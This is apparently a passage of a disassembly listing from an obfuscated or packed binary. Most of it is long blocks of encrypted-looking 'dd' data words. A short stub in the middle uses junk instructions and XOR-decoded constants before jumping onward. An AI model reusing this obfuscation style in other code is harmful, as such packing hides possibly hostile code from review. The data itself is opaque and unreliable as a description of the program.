		dd 8E99D6E5h, 3456CF77h, 2B6h, 0EE02BFDDh, 6FA82EFh, 171F249h
		dd 2E922C3Dh, 3080828Dh, 3F3A46F2h, 3CB9B4C0h, 802569FFh
		dd 14510CE8h, 0E880FDFCh, 6EFD5B00h, 5A55160Eh,	0A3F075F0h
		dd 9782BFD8h, 47B6DA8Eh, 0E100E8E1h, 32A61F9Ah,	0CD1F7876h
		dd 0DB7D8190h, 3653D0ADh, 0BAF744A8h, 0DFAD57AFh, 8E0DB94Eh
		dd 95EB8315h, 0A5C3C6A9h, 63E5DA4Bh, 966900D5h,	572673F0h
		dd 1AB7BE6h, 0D443F884h, 9DD8A44Ch, 11734B18h, 22E06FACh
		dd 81830A76h, 55D0ADDBh, 1DE948D0h, 0B8A7DCBBh,	1946BF6Bh
		dd 778E9922h, 0D3BB23D2h, 0FA0E1383h, 0D0929CFBh, 0F16BE655h
		dd 11E1574Fh, 0A643BEADh, 0C110BA4Bh, 2EFD09F7h, 0EC022C58h
		dd 0BB000004h, 0CF22BF6Dh, 1E718E34h, 2C835C08h, 7ED12ED2h
		dd 591CFDA9h, 8531F665h, 55FB0564h, 26C855B4h, 0F79F66C9h
		dd 648C811Ah, 0E2EA75h,	6DA237D3h, 0D9EEA94h, 9AEE4FB1h
		dd 0CE880B2h, 1B20C1BCh, 8161FFFDh, 269FB6F2h, 3D81925Ch
		dd 0DF0662DBh, 0D75297A4h, 0D73986FFh, 0AFA1E6Bh, 0CA77106Bh
		dd 1DC738Dh, 0BD440E64h, 0DE8BAA2Bh, 45F1360Ah,	38A02518h
		dd 83441036h, 0CCD2360h, 0AAA23B40h, 0A93552D3h, 0C7B557ABh
		dd 320982B7h, 72F19042h, 0A2246F7h, 44A829CBh, 0BE008BF9h
		dd 2E8FE15Ah, 8A63B7Bh,	0E0F87128h, 92E37D1Dh, 7BC03FF0h
		dd 8C6D15ECh, 0EB3AE43Dh, 97D0A37h, 28220C78h, 0F7000004h
		dd 0B668331h, 5AB552F8h, 68C720CCh, 0BA15F296h,	1D20C16Dh
		dd 49F53229h, 19BF41A8h, 0EA8C91F8h, 0BB63A20Dh, 2048C55Eh
		dd 0E2EBB1h, 0BFEE730Fh, 29AA4ED0h, 511FC75Eh, 2ABEE4FAh
		dd 6FA82ABh, 2BB3605h, 24C85AC5h, 0A82539AFh, 0A710CE8h
		dd 358A57B1h, 0B674FC3Ah, 0FB5DC7A5h, 831D981Ch, 0CEECB46h
		dd 0D12AAB8Fh, 0F12627Ch, 564016Fh, 67D453FDh, 966925F8h
		dd 6AE984F0h, 4B244CE9h, 0ED0AF006h, 7BF8A462h,	0CE0F61DEh
		dd 680AD043h, 3A259615h, 0EAEB7DEBh, 760AD043h,	0E55805B1h
		dd 0B5BBD566h, 39F64F8Ch, 0B4C922A3h, 3E01177h,	4A9E0AD0h
		dd 0AD0038Bh, 36055625h, 0AC29CB57h, 0EE9A44DDh, 0BEFF617Dh
		dd 0C20F9E2Ah, 72A59800h, 6AD18696h, 4C9DABA7h,	1B000003h
		dd 2F825F0Dh, 7ED12ED4h, 8CE3FCA8h, 0DE31CE72h,	397C9D49h
		dd 25D15605h, 0F59B65C4h, 0C668B514h, 973FC629h, 46C217Ah
		dd 0E2E8D5h, 6D025773h,	0DD9EEA94h, 630AB272h, 0EA87FC9Eh
		dd 0A5CB70D4h, 0CE880EDh, 6535D2A9h, 1F2h, 31DB2B36h, 0BD7ADDB4h
		dd 751FE772h, 0E94B93F0h, 80F03C54h, 3B260CE8h,	0E4157BE7h
		dd 4200E880h, 75F07CFBh, 0BFD8A3F0h, 0ECC96CA9h, 647ABFh
		dd 0AC54ACBBh, 153BA5C0h, 0EFEAAF84h, 4FA11E97h, 0F7A61393h
		dd 5FCCB883h, 48A01D7Fh, 0D88E4E9h, 2947F447h, 5682F402h
		dd 3254E877h, 76689903h, 0F38127F9h, 3D7AFB76h,	49A6080h
		dd 3D488E24h, 13696880h, 74C7018Ch, 0E99190FFh,	0B660A108h
		dd 0B62FF6Fh, 8A94D060h, 273h, 0D936E622h, 0E809AD76h
		dd 3AD78181h, 48A94BD7h, 9B7422E1h, 0AA79DEE0h,	748CE3FCh
		dd 41DC33CCh, 18E940A1h, 1308916Eh, 0E2E9FCFDh,	25BC5A00h
		dd 474FD0BFh, 1E9712C0h, 0B308B273h, 56649E55h,	960FEC5h
		dd 462351F7h, 922CBFCDh, 0C1508D2Eh, 6123853Eh,	0BDD520DDh
		dd 4B53C53Eh, 0C30CE81Ch, 5F279F78h, 0C2B7A96h,	0A05A03CBh
		dd 14784623h, 0D7066AA7h, 7100E863h, 0C42C890Ah, 0AFA6158h
		dd 2D7262FEh, 0BA08C91Fh, 0D7A60ADEh, 7E18E145h, 84E55805h
		dd 0A756BAF7h, 10ADE61h, 557B93Ah, 2D89FF09h, 0BCD41191h
		dd 9DFC4E3Dh, 0C130A09Bh, 1F9DFC4Eh, 0DF1CA11Ch, 0FC4E4889h
		dd 1E97E69Dh, 68934FA1h, 0F46397EEh, 7BF6822Eh,	92DE5DFAh
		dd 0FA43A539h, 84F0926Fh, 0B9CF6CE9h, 0ADF0FB58h, 6BF64736h
		dd 35A4CC98h, 93A1D4FEh, 225F2DA8h, 0FC0514A1h,	0CB5AB552h
		dd 4E80F023h, 3531FFC3h, 16E6Bh, 3DEB3900h, 0CB24DDCh
		dd 0DA869CF3h, 0AC50D23Dh, 7B27FC53h, 74E3E79Eh, 8BE603AFh
		dd 0DB36D379h, 0E44BA446h, 394751Dh, 0EEFBFA0Eh, 0B95500E2h
		dd 53D0BF20h, 0D23A30BAh, 39B4C619h, 0DAB52E4Bh, 76D5A34Bh
		dd 7AB70468h, 848315EFh, 50CFAAD6h, 65114DD3h, 36050CE8h
		dd 68B5A4D9h, 0B934D82Ah, 4F6F253Ch, 0D61350EDh, 0FA8243B2h
		dd 259E9D06h, 0E25B52B3h, 798F8C0Ch, 0E2E578h, 53E867D6h
		dd 74953DC4h, 0D9620C15h, 0E585749Ch, 582300E2h, 0A43A91DBh
		dd 6295FB40h, 0C40AFA3Ch, 0CC55C479h, 345C9922h, 0ACA4CC5h
		dd 429B1863h, 6C16EFh, 6CD1338Bh, 0D8492C04h, 0C0136A00h
		dd 6AD7AC66h, 0A84D5B17h, 77000000h, 8BE603B1h,	0DA35D278h
		dd 0E847A04Ch, 3A957216h, 9DA041EDh, 0C975B2A9h, 993FC128h
		dd 6A0C1178h, 3BE3228Dh, 0A0C845DEh, 0E2EF31h, 6F6EF38Fh
		dd 3850ED4Fh, 0CE25C13h, 29521E1Dh, 303CE83Eh, 50D1B035h
		dd 1FE649A6h, 6789C677h, 0E2E576h, 84E86DD0h, 0AE48E9FCh
		dd 462C4552h, 27BE4BDAh, 73E0CF27h, 8EE1FE7Dh, 28A1CF77h
		dd 694632D6h, 47DE4A20h, 0CCC21E9Fh, 0C2335550h, 1C6326DBh
		dd 95CFBF21h, 0BB16F76Ch, 31D12C6Ah, 14F8C6B2h,	99000000h
		dd 585E21BFh, 0AAF6FF16h, 0FEFEFF11h, 0E55806FAh, 6D6DF460h
		dd 329BE997h, 0AC3D4BF3h, 4AC3B151h, 0E76612BAh, 87067220h
		dd 27A6D280h, 0C24B39DBh, 7DEC9844h, 2D70FCA2h,	81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 8950243Ch, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 89502434h, 405E0h, 42D0000h
		dd 87000000h, 895C2404h, 6768243Ch, 8B061867h, 0C4812434h
		dd 4, 243C8B54h, 4C481h, 0EC810000h, 4,	8F243489h, 3C8B0847h
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 24348B5Ch
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA11FFE9h, 0CC484EFFh
		dd 4C5AD703h, 0E7B8DDEBh, 306186Dh, 36E0FFC5h, 1B27FCCDh
		dd 0DE6B0E00h, 151A5474h, 0A82BF906h, 406A65F0h, 827EAF71h
		dd 0F049DA7Bh, 0F329AB8Fh, 7426D3FAh, 0D2656246h, 1D1830C7h
		dd 57162B72h, 366F0027h, 6A7D55E8h, 6F74BD71h, 137FCD58h
		dd 12123535h, 1C207180h, 0E840D633h, 0Fh, 2A8202E0h, 0A4C0589Ch
		dd 0F572797Bh, 0E95491DAh, 7, 0CA50F18Bh, 58097184h, 3800Fh
		dd 0BF0F0000h, 0D0C081DBh, 8B00005Ah, 0E9C933D0h, 14h
		dd 586A39CAh, 8410BC4Eh, 0EE3F3407h, 8E36A33Bh,	8CC12069h
		dd 660134FFh
		dd 5E59F7BAh, 0F681D98Ah, 341DE10Eh, 7CDFF681h,	0E85260F4h
		dd 0Bh,	68A5A625h, 32B04C59h, 6666B99Fh, 5B9A3EBBh, 1AEE815Fh
		dd 6630126Ch, 564F69BFh, 0BE953h, 3D230000h, 0F3D89CAAh
		dd 33D2DADCh, 48F5B93h,	0BBDC8A08h, 7D86D4h, 663BE981h
		dd 14E9084Ah, 59000000h, 785D0A19h, 0D7764267h,	0B4792F7h
		dd 0AAB65627h, 814181C7h, 4A6637C1h, 6E908h, 0A7F30000h
		dd 4E223B3Fh, 0A610F981h, 850FFFFFh, 0FFFFFF70h, 7E9h
		dd 0E00F0400h, 3F87B761h, 0FE9h, 99B9C000h, 2Dh, 2 dup(0)
		dd 49AE9h, 70A66800h, 95E90618h, 68FFFA10h, 6187116h, 0FA108BE9h
		dd 728868FFh, 81E90618h, 9FFFFA10h, 0D33EDB89h,	0E24DAA50h
		dd 309F7824h, 42AD4AEEh, 45F819C5h, 0A14DDA81h,	7117E940h
		dd 42E43990h, 13BB4AA5h, 98F0ADF6h, 0E2ED59h, 6D86DBF7h
		dd 0C453E896h, 6F1D963Ah, 3DE33D2Ch, 0D6B1324Fh, 0E54AA74Fh
		dd 0A2C677D9h, 0CE89256h, 0BA5CA130h, 4834B3CEh, 0E8B3BD38h
		dd 1070CD00h, 178EB0F4h, 41C202h, 0C56562Ah, 0C73BD6E5h
		dd 0DE000002h, 12ACB37Ah, 41D00DAEh, 369A1BBDh,	0CE8808Ah
		dd 401071CCh, 0B4455EBCh, 6BD0348Ah, 9FCCD905h,	521E1D0Fh
		dd 3A83E5F9h, 610175D6h, 0AF0C6F05h, 58B961A0h,	5F8630F1h
		dd 68309C62h, 0F24F5915h, 0CB000002h, 1F728F3Dh, 2E815E04h
		dd 7CD32CD8h, 8EE1FEA2h, 92CCD79h, 55010635h, 25CB55B4h
		dd 0F69865C4h, 0C76FB619h, 54BCF12Ah, 0E2F2A5h,	6FF26703h
		dd 3850ED4Fh, 0CE26379h, 0C857E457h, 1F728F3Bh,	0A4E15A08h
		dd 0E2F28D4Ch, 60061900h, 39045914h, 9AA0B0BCh,	74B2A5A3h
		dd 18A96614h, 8B08766Dh, 0AA7D25FCh, 5EACCB4Dh,	825A64E0h
		dd 7B000002h, 8FE2FFADh, 0DE31CE74h, 0EC439C48h, 3E916E12h
		dd 99DC3DE9h, 0C571B6A5h, 953BC524h, 66081574h,	37DF2689h
		dd 0A4CC41DAh, 0E2F335h, 6F62F793h, 1350ED4Fh, 8243B2D6h
		dd 105E06FAh, 0DA3B2CEh, 0B52E0D4Eh, 0E2357223h, 83F14C0Ch
		dd 0E24406F3h, 69C17600h, 0EF419711h, 6DCB25D6h, 0F8AA0734h
		dd 3FE61779h, 0FD4000E2h, 0A365057Eh, 0C000001h, 9EEA946Dh
		dd 0B34CF60Fh, 0AE01805Eh, 0E7324610h, 87E952D1h, 0CE86863h
		dd 0E48CF843h, 0E879F1h, 1E72D881h, 0D6E57CAEh,	3BC3h
		dd 4F6F6600h, 823CBDD3h, 59A806FAh, 0F5A6C3B1h,	5EB20B86h
		dd 0CE8A582h, 6081474h,	0AFAC10AAh, 66126936h, 0E8B1DB1Eh
		dd 8CE6AB00h, 9A40C34Eh, 0B8E6E619h, 0EB8BD6E5h, 2E000000h
		dd 9EEA946Dh, 0AB272DDh, 0E782037Eh, 5EC97220h,	0D6A61FC7h
		dd 0B819AE77h, 0BFDB783Ah, 85A150B8h, 3C3F06FAh, 53642C1h
		dd 8531A0C8h, 0AC8F06FAh, 0CDC95837h, 0B9E28E30h, 0FA85A657h
		dd 0BE3D0006h, 15816D5Eh, 0E35E38C1h, 0DF1F7906h, 0E79390DAh
		dd 0CAA41D75h, 0D1DCC749h, 5DA406FAh, 61908B5h,	0DC591460h
		dd 0AC10AE03h, 91ABF90Fh, 38030CE7h, 48DB4683h,	6F719A2h
		dd 0A000EFE3h, 0FA0958DDh, 0A360EF4Ch, 0E48C94F7h, 0E4238E6Fh
		dd 2ADEEF36h, 0B5B15EAAh, 110EBh, 711FE500h, 40E63990h
		dd 0EBA48A7h, 0E0849EF1h, 0AF5BA807h, 20172B52h, 77DA37E3h
		dd 87EA07ADh, 0D03FD87Ah, 0D748A951h, 0F0C7365Ah, 456100E2h
		dd 0E8966D1Ch, 0D335720Fh, 6FA8222h, 0A31A217Fh, 5FFC0B4Fh
		dd 0F90867DCh, 0A67DEC51h, 74F18CF8h, 946D3C9Bh, 0F60F9EEAh
		dd 0CCB860A0h, 8278798Fh, 67D606FAh, 3F8C6DE8h,	68803D9Fh
		dd 0CE83248h, 2966D7A6h, 0E8D216C7h, 48CDB000h,	0FBA77CEBh
		dd 0D28F4A1Eh, 0A1B00E8h, 0B54CDB60h, 2F1F7F0Dh, 837DD1FFh
		dd 0D536AF2Ah, 7301AD7Ah, 70A5h, 4F6F2C00h, 823CBDD3h
		dd 0A39A06FAh, 0CF5A9724h, 87098A38h, 0CE26392h, 0D23B4934h
		dd 0E34EAB53h, 640C7822h, 0E663B53Ah, 0E91971B6h, 3E916E18h
		dd 0AD4FD3E7h, 37CB422Eh, 0E6392895h, 0FEB9C340h, 0D42DDDB5h
		dd 0A362CD2Ah, 716088C5h, 0CF3760BFh, 0BFF5E46Ch, 4533760h
		dd 4F2A56FAh, 0C365B9D0h, 803DB8B5h, 69EA8C91h,	33503h
		dd 98DC0000h, 0E9976DF9h, 4BF3329Bh, 0B151AC3Dh, 12BA4AC3h
		dd 7220E766h, 0D2808706h, 39DB27A6h, 9844C24Bh,	0FCA27DECh
		dd 89572D70h, 0BCBD55E7h, 8113183Bh, 0C86907EDh, 0C8E58107h
		dd 81033C7Dh, 3E621ACDh, 2E5C105h, 359CC581h, 0EF01E306h
		dd 4EF835Dh, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		push	5E062AFAh
		pop	eax
		mov	edx, 581E4508h
		xor	edx, eax
		pop	eax
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8
		add	eax, ecx
		mov	[eax], edx
		pop	eax
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 0ECh, 68h, 56h
		dd 235E9FE1h, 29E5735h,	0B8C81AE0h, 61873BDh, 0E0FFC503h
		dd 5910032Ah, 6EA43542h, 44C6E45Bh, 6BE03953h, 725FA5F7h
		dd 7398A01Eh, 2A033FECh, 1943D0ADh, 419C99B9h, 0B1636153h
		dd 0BDB9595Dh, 583256AEh, 0B1325650h, 53764874h, 0B1AD6272h
		dd 0B13013EAh, 31195675h, 61C7262Ch, 854239ACh,	583256C8h
		dd 0B1325659h, 8F1CA8B5h, 0AC344925h, 0D2A00D89h, 828A3493h
		dd 0B13254FFh, 5C069B5Dh, 1F78EEA7h, 0B1404496h, 0B13BBFABh
		dd 4C256D5h, 9C0DDF82h,	0BEB2B69Dh, 0B132573Dh,	0B132AA5Dh
		dd 0BE32565Bh, 0B1325BD3h, 0B13ABFABh, 16DC56D5h, 0AA6CD15Ah
		dd 0B13295D3h, 0B1325B53h, 0C798995Dh, 3EC48A41h, 0EC17C124h
		dd 0B1320D92h, 0BE60E1B5h, 0B132546Eh, 0D0533675h, 0B1684649h
		dd 5432565Dh, 6BAE1ACBh, 988E2B45h, 0A9F2EA35h,	0A9B19658h
		dd 0D132565Ch, 0B6DA98C2h, 1C3256BAh, 0AA5A01A2h, 7FB3FE76h
		dd 0CF8C85C4h, 41AB37F0h, 0B124568Eh, 0A0DB56EAh, 8F325675h
		dd 5BDB7DCh, 4250D72Bh,	539A3140h, 52442034h, 0B1CB56ABh
		dd 0B13FBFD5h, 992956EAh, 7773FB71h, 7088A72Fh,	0B19676BBh
		dd 0B4DA36AEh, 0A8325657h, 0CDBE9A08h, 0BE6837B5h, 0B1539555h
		dd 3A543675h, 0B3BE5979h, 0E332565Dh, 0B13237F5h, 0D1CADD37h
		dd 30EDDDCDh, 0C0406A23h, 0B15337C8h, 58523675h, 0B13256AAh
		dd 89C42900h, 17B82DD1h, 3D16A2CBh, 0FF85B49Fh,	0B132D1DAh
		dd 595356EAh, 0B132567Fh, 0A13712FDh, 0E0A9778Ah, 0EF651FACh
		dd 0B132370Fh, 0B133D0A4h, 0B1CB56D5h, 0A8BF59EAh, 0D1325675h
		dd 88742902h, 0B13EBE62h, 0A3B256AEh, 0BD4B1BACh, 0FF165882h
		dd 0D06DB0C5h, 7E8A308Ah, 0B135BF23h, 0EEDA56BAh, 0BAFEE63Bh
		dd 0B13237C4h, 0B1325ABEh, 9BFAC5ABh, 39F922FFh, 0BA065511h
		dd 0B13EBFE7h, 0B92056BAh, 0FA47B2B4h, 5CC74174h, 0B132BF57h
		dd 0D1325652h, 0B13ABFB5h, 42956EAh, 0C80B8DD4h, 3053236Ah
		dd 0C640DC8Fh, 0B13237FAh, 61893037h, 0B123BFCBh, 0F3E856D5h
		dd 0DDD81AC1h, 0B00F0E7Ah, 4DE69E77h, 0D06003E4h, 363D56AEh
		dd 0B1325642h, 43B930CBh, 0B1325C3Dh, 0CCE38CEAh, 17E222CCh
		dd 0EAFE8600h, 0BE32563Ch, 0B1325029h, 0E543657h, 58533B66h
		dd 0B13256D3h, 0C9116588h, 0B1324C08h, 0B1325953h, 8878E35Dh
		dd 7160C144h, 2BF9C809h, 0BDBD9FDBh, 0B1F3D7B5h, 0D71D4103h
		dd 0D09D97CEh, 0B1CA56BAh, 0A0DB365Dh, 863256AEh, 38417F4Ch
		dd 2E82796Bh, 732436C2h, 66F5F6B7h, 0B132599Ch,	0DC612FBAh
		dd 489E95D0h, 47EA7F90h, 0A79CCFC4h, 583256CAh,	0B13256DBh
		dd 8F265B8Dh, 0BF2A7DEBh, 0BE24B1DFh, 0B132973Fh, 0B1B759CEh
		dd 0BE325657h, 0B132552Ch, 6E1D6D5h, 0BE32568Bh, 0B13257F3h
		dd 0B132AEBAh, 0B13BD252h, 0D15256AEh, 52B33036h, 0B353FA0Fh
		dd 0B13256D5h, 0D74356EAh, 6D0DA417h, 270AF1DCh, 0A709C545h
		dd 0B8DB85D5h, 91325657h, 0EABB0AC9h, 8BD4A45h,	0A1DB56EAh
		dd 60325675h, 0B923FEF6h, 77F27C63h, 0B292AFC8h, 66C86E1Ch
		dd 0B5325CACh, 0BA3244D5h, 963267EAh, 0B1338575h, 0B13ABFBAh
		dd 0F2F6565Dh, 0D6CBA14Ah, 0B1CE93DAh, 0D0C736ABh, 0BE325620h
		dd 0B132426Dh, 0BFB55975h, 583256BAh, 0B1325654h, 7EE8C527h
		dd 0F519CC7Bh, 0B135BF32h, 0CE4956D5h, 0CFFC2BAEh, 493256FDh
		dd 585256BAh, 0B1325650h, 7A9CA270h, 9188C0DDh,	15600583h
		dd 0B3B15918h, 3256EAh,	0B132376Eh, 0B1325C53h,	99A3905Dh
		dd 2F2C0F04h, 0B13ABA5Ch, 0BDBB59ABh, 0BE3256D5h, 0B132506Fh
		dd 0B1BF5975h, 0B13256BAh, 8F301F5Dh, 0B1325A47h, 19565E57h
		dd 0E83B5AF2h, 3A43C066h, 0B1323784h, 0B132519Ch, 0AAD7C5BAh
		dd 6A7BC1FAh, 0B37B56AEh, 61325657h, 0BF000FFDh, 4390582Ah
		dd 0B123DDE5h, 303D5675h, 0B13256B1h, 0B13250B4h, 0E9B35AAEh
		dd 0B11B2E78h, 0D76536ABh, 0E06D9D5Eh, 0B1325A03h, 63884E75h
		dd 3821CAE9h, 28E425FDh, 58530825h, 0B1325652h,	4629410h
		dd 0E362001Dh, 618D598Ah, 0B132539Dh, 0BE5CBFBAh, 0D06AF3C1h
		dd 0E36267A1h, 803D3737h, 0E96837CBh, 0B5BB0E8Fh, 0B280EBCEh
		dd 0EECCEFF5h, 0CA382316h, 0E9680E07h, 0B13EBFFEh, 9C765657h
		dd 9882A5C9h, 54EE197Bh, 0BEA03D50h, 0B134BF44h, 68456BAh
		dd 0E270DB79h, 0E9680EF4h, 0EB167ADEh, 2253CB20h, 9DED28ECh
		dd 2CC9DC1Fh, 0BADB677Ah, 663256BAh, 0C2D0FB99h, 7E1CFF9Eh
		dd 0E968330Bh, 65D3E8CDh, 3A6AC6B4h, 0E13672AEh, 58600627h
		dd 0B13256BCh, 1CF6810Bh, 803D254Ch, 0E9683737h, 0F5267A4h
		dd 0C00DB3C8h, 3A6A0C8Bh, 0D1600675h, 0B13DBF26h, 0C9E9565Dh
		dd 9585E0FFh, 216114DAh, 0D9DD822h, 19EAD690h, 0B1325003h
		dd 0E5953075h, 2C71A447h, 0BE538FD6h, 0E160069Fh, 0EB035905h
		dd 0D10359F3h, 0EB6A0CB4h, 9576DFB2h, 58600671h, 0B13256AEh
		dd 1AC87341h, 36F4F7A6h, 92608BE3h, 0CEAC8F8Bh,	2A98C399h
		dd 585267E5h, 0B1325667h, 0F86245B8h, 0B44E3913h, 305ADDF4h
		dd 0C263171h, 3A545519h, 0E968372Ch, 443256B2h,	383D5675h
		dd 0B13256BDh, 0B133D152h, 0B1C756AEh, 3A543657h, 85D6D678h
		dd 0D13256B4h, 0A2E3650h, 0B1323709h, 0B1324253h, 5CFD575Dh
		dd 52F99BACh, 0C2BA8548h, 2B29E415h, 639EF5h, 4D3256BFh
		dd 0B1CE5675h, 0B138BFBAh, 0D6565Dh, 99853A5Ch,	73EFBBD7h
		dd 0D1CE56ABh, 0B132423Ch, 0D891CEAh, 0C707963Ah, 0E1CFC29Ah
		dd 0A85F911Bh, 7CB958E8h, 0B13237EDh, 0BE325657h, 0B1325A5Eh
		dd 0B7BE59EAh, 0BE325675h, 0B132563Ch, 0BE32565Dh, 0B132572Fh
		dd 0B132A357h, 0D78C30CBh, 0D0B0E656h, 0B1324703h, 0B2A9DD75h
		dd 0EB76802Eh, 880D63A6h, 3A84FFBBh, 0B1320542h, 5832565Eh
		dd 0B13256C7h, 1DC0A7B7h, 0F7DE1FEBh, 1DA1CD81h, 1A2006B4h
		dd 0B132366Ch, 63B33037h, 30543449h, 0D045150Ah, 0B1C756EAh
		dd 3B3DAF75h, 0B13256BBh, 583256A5h, 0B13256A1h, 0BD43D32h
		dd 0AD0D64BBh, 0D67F07F9h, 0B1E2B76Bh, 0E3D3675h, 488D5941h
		dd 0B132AE3Ch, 0B127D0A1h, 0A1DB5657h, 0E13256ABh, 0A9C79E21h
		dd 7F8A1B42h, 52971566h, 0B124752Bh, 0B132AF5Dh, 0B1324447h
		dd 4ABE2F57h, 2EB05FDCh, 0A33E7A1Ch, 0ABC6E05h,	0BE169DC5h
		dd 0B1324932h, 0A8B2595Dh, 583256AEh, 0B1325643h, 0ED5FA697h
		dd 97735B97h, 466D6901h, 0BBD84CFFh, 0D2EFC2FAh, 0B1CB565Dh
		dd 0B122BFAEh, 0FD595657h, 0F1032301h, 0CB9F09A0h, 5F5BF2D4h
		dd 0B1CE1148h, 0A1DB36BAh, 6032565Dh, 68682492h, 0D5B9010Fh
		dd 3C92F5A6h, 0BE62FD8Dh, 0B132536Bh, 41B33075h, 0B153B8FFh
		dd 0B134BF5Dh, 36F256AEh, 348662F9h, 0BADB56ABh, 943256D5h
		dd 2903EBFCh, 46850723h, 0B1CE3448h, 0D752A35Dh, 0D0BC4215h
		dd 0BCDB5657h, 7B3256ABh, 0FFEDB459h, 461AE233h, 983D1528h
		dd 0B133D7B5h, 0B1CB565Dh, 0D0CE36AEh, 0BDDB5657h, 6B3256ABh
		dd 0FEDF9C7Eh, 35F1B321h, 0B1076D7Dh, 0BFDA36BAh, 8D32565Dh
		dd 2C499E64h, 0F4AD840h, 0B8C35442h, 0B8C3061h,	70B90F73h
		dd 58325614h, 0B13256B2h, 35B5904Eh, 0C229DF2h,	0B4DB5657h
		dd 0B3256ABh, 4F95AA6Fh, 343D56EAh, 0B1325674h,	0D132564Fh
		dd 0B13253B4h, 205DCEAEh, 30542440h, 0D0536B73h, 0BEDB56D5h
		dd 563256EAh, 4E5B3190h, 75BAF889h, 0CE92B30Bh,	0B132BE7Dh
		dd 0B133DA58h, 0B1C756ABh, 0D752AFD5h, 0A548161h, 0B153F7C0h
		dd 0A6B559BAh, 5832565Dh
		dd 0B13256BCh, 0BC94ABADh, 0E4627476h, 0D1C1CAE6h, 4E5ACDF8h
		dd 0B1329D8Dh, 58325643h, 0B132564Fh, 0CFD52BB1h, 3551AE30h
		dd 0FE232F03h, 5D261D1Ah, 0B132CE89h, 0B13CBF8Dh, 678156BAh
		dd 4184BA84h, 833206A9h, 0AFD23018h, 3C3D56ABh,	0B13256D4h
		dd 48325613h, 3E3D0515h, 0B13256BAh, 30543604h,	83B577Fh
		dd 0EC39638Fh, 0B13237CAh, 0B132593Ch, 0B7B050EAh, 0B0AFC32Fh
		dd 196D9C97h, 0B0491A97h, 0B7DB56AEh, 97325657h, 3ED08A30h
		dd 0D132567Ah, 7FA2E954h, 0B1323731h, 0B132AF42h, 0D48D303Dh
		dd 0B13237F7h, 493256A2h, 0A2DB56ABh, 363256D5h, 0F1842AB6h
		dd 0EC39C3F5h, 256A0635h, 0D6E9E1C8h, 0B13213E1h, 483256ABh
		dd 3A5256ABh, 0B7B95903h, 0BE3256EAh, 0B13256F5h, 0B1CA37BAh
		dd 3054365Dh, 318A5C4Fh, 0B153E084h, 0D15236ABh, 9F8D30B4h
		dd 0D0CB3788h, 0B1CE5675h, 4A8B36BAh, 0D71056D7h, 68A5962Fh
		dd 58325636h, 0B13256A7h, 0E7EB0623h, 7652380Ah, 0D6470E62h
		dd 0BCDB56BAh, 332565Dh, 0CE3B1C8Bh, 3043BA95h,	346A9160h
		dd 3C3D56D5h, 0B13256E6h, 0B134D17Ah, 343D56BAh, 0B132565Dh
		dd 485256AEh, 0B15398DCh, 0B126BFABh, 463E56D5h, 0EAA9D55Bh
		dd 0D96DDCDFh, 0E0B9C4E9h, 10D787CFh, 0B1C714C5h, 0BCDBAF57h
		dd 153256ABh, 503ACCA6h, 0E64494F3h, 4850015Ch,	383D56BAh
		dd 0B132565Ch, 48325656h, 0B1CE5657h, 0B0BC59ABh, 443256D5h
		dd 0B1325E03h, 336F75h,	8514C6DFh, 0BE325651h, 0B1325E2Ch
		dd 0B3BC5957h, 0D13256ABh, 58CA36B4h, 0B13256E4h, 8301B58Ah
		dd 0B7C7208Ah, 0DAFFF496h, 0B1533BE0h, 0B139BF57h, 4B6A56ABh
		dd 45193C3Fh, 98C04ACFh, 483256D1h, 3D3D56BAh, 0B132564Fh
		dd 0B1325B47h, 0C2E1EE57h, 0DE5033B0h, 3DB4588Eh, 3A3DCDF4h
		dd 0B1325673h, 4A8559DAh, 0B13237A5h, 0B1324547h, 54DFCE57h
		dd 0B68E655Eh, 8D3FEE9h, 0D4F1426Ah, 1B8DE42Fh,	0B1CE56BAh
		dd 0E8C365Dh, 0D76B07D8h, 0E84284D6h, 483256CAh, 343D56D5h
		dd 0B13256CBh, 0B1BA5915h, 593256BAh, 0B132564Eh, 108F5011h
		dd 4460FC84h, 0C8E8DB11h, 0B5158FA6h, 0E94A2528h, 0BE325614h
		dd 0B1324230h, 0B13DBF5Dh, 94C956AEh, 0C943F3AEh, 0FAF75120h
		dd 6646405Fh, 0D13256BFh, 0B1BA5927h, 0EB3256BAh, 41C3D73Bh
		dd 0B13237ECh, 0B78C3037h, 0B7B75932h, 303256D5h, 9F71321Ch
		dd 0B1323702h, 0B1325C53h, 0A19B315Dh, 506B21E5h, 0B18B9BAFh
		dd 0B138BFABh, 243E56D5h, 0DAFA895h, 824F05BCh,	0B13BBFDAh
		dd 0CB13565Dh, 0AB7C1894h, 3A56D0E1h, 0B1323759h, 4432562Dh
		dd 0BECE56EAh, 0B13242F1h, 0BFB259BAh, 5832565Dh, 0B13256A7h
		dd 0B5EAA1EAh, 71F614F6h, 58325685h, 0B13256E7h, 0D316F435h
		dd 0B8E82B02h, 0B7E9AE32h, 0BE32566Fh, 0B13257D2h, 0D152AAABh
		dd 0B1325D3Ch, 5CBFC9EAh, 746322BDh, 0EAB4B16Fh, 0D0C5DD3Bh
		dd 4D3256CFh, 0B9DB5657h, 9A3256ABh, 25EC6E4Ah,	0B139B329h
		dd 0B132AA75h, 0B13CBFDAh, 4D91565Dh, 1ADFF8D0h, 0D4FC8480h
		dd 6C78270Ch, 0B132473Dh, 9DF6BEAh, 32B7489Bh, 7AA53FB5h
		dd 7FA837D0h, 3C3D42F3h, 0B1325657h, 373D37F3h,	0B13256DFh
		dd 0BE08E08Ah, 0B13256F7h, 0B13237BAh, 0D7F9DD3Dh, 0D0824E11h
		dd 343D5657h, 0B13256A3h, 0B130D9DAh, 0D05256EAh, 0B1CE5675h
